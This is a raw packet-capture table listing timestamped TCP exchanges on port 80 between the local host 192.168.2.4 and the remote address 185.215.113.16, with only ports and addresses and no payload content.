Nov 1, 2024 08:50:17.800268888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800280094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800291061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800302029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800312996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800314903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800314903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800324917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800327063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800338030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800349951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800367117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800370932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800395966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800411940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800412893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800412893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800434113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800451994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800462961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800467968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800474882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800488949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800503969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800509930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800509930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800513983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800525904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800534010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800537109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800549030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800560951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800569057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800571918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800605059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800605059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801527023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801656961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801673889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801687002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801733971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801737070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801745892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801764965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801791906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801800013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801800013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801805019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801815033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801829100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801852942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801856995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801856995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801863909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801873922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801902056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801913023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801920891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801920891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801923990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801934958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801947117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801954985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801956892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801969051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.801989079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.801989079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.808577061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953444958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953468084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953476906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953538895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953636885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953646898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953679085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953680038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953696966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953715086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953726053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953758955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953759909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953759909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953773975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953785896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953797102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953809023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953819036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953823090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953824043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953830957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953840971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953866005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953875065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953875065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953881979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953892946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953917027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953929901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953929901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.953933954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953959942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953975916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953984976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.953996897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954006910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954006910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954014063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954025984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954035997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954051018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954061985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954067945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954080105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954092979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954104900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954116106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954155922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954155922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954155922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954169035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954180956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954191923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954210043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954216003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954229116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954238892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954251051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954252958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954261065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954272032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954282999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954297066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954314947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954336882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954348087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954358101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954363108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954375029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954402924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954406977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954406977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954415083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954426050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954437017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954437971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954454899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954467058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954478979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954485893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954488993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954514980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954546928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954564095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954576015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954586983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954598904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954608917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954617977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954624891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954629898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954629898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954648018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954663038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954668045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954678059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954688072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954696894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954708099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954709053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954719067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954731941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954742908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954749107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954749107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954772949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954782963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954783916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954794884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954807043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954817057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954828978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954838037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954838037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954842091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954890013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954894066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954894066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.954914093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954953909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954966068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954981089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.954996109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955001116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955004930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955012083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955030918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955073118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955144882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955157995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955178022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955188990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955199957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955209970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955216885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955220938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955230951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955240011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955252886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955280066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955328941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955338955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955349922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955362082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955372095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955384970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955393076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955404043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955415010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955430031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955430031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955442905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955456018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955456018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955466986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955488920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955492020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955499887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955506086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955511093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955521107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955534935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955555916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955557108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955569029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955578089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955599070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955599070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955602884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955614090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955624104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955636024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955647945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955647945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955703974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955713987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955715895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955727100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955763102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955796957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955809116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955883026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955893993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955904961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955908060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955916882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.955939054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.955960035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956026077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956037998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956057072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956073999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956087112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956088066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956110954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956120968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956125021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956125021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956131935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956152916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956163883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956176043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956192017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956207037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956231117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956238985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956273079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956285000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956295013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956331968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956348896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956676960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956703901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956716061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956780910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956784964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956792116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956803083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956815958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956823111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956855059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956866980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956876993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.956881046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956908941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.956921101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.957154036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957165003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957175970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957202911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957207918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.957215071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957309008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.957361937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957441092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957453012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957463026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957475901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957493067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.957493067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.957557917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.957966089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.957990885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958002090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958039045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958066940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958077908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958087921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958100080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958117962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958146095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958163977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958175898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958187103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958198071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958209038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958220005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958231926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958231926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958250999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958282948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958295107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958306074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958338976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958369970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958378077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958381891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958401918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958419085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958436966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958452940 CET	49738	80	192.168.2.4	185.215.113.16
